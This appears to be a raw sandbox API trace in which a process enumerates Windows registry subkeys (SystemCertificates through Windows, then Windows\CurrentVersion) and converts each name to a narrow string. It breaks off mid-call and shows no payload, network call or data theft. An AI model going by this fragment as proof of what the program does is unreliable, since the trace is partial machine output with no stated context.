[0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xffc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0xffb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xffc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0xffb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0xffb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0253.746] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0xffb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xffc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0253.746] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0xffb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xffc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0253.746] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0xffb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0253.746] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0xffb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0253.746] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0xffb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0253.748] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0xffb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0253.748] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0xffb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xffc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0253.748] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0xffb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xffc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0253.748] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0xffb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xffc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0253.748] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0xffb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0253.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0xffb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xffc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0xffb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0xffb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xffc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0xffb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xffc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0xffb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0xffb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0253.749] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0xffb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0253.750] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0xffb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0253.750] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0253.750] RegCloseKey (hKey=0x38) returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xffc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0253.750] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0253.750] RegCloseKey (hKey=0xc4) returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xffc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0253.750] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xffb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xffb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xffb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xffb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xffc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xffb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xffb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.751] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xffb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xffc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xffb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xffc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0xffb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xffc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xffb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xffc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xffb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xffc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xffb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xffc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xffb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xffc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0253.752] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xffb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xffc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xffb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xffc0d8, cbMultiByte=14, 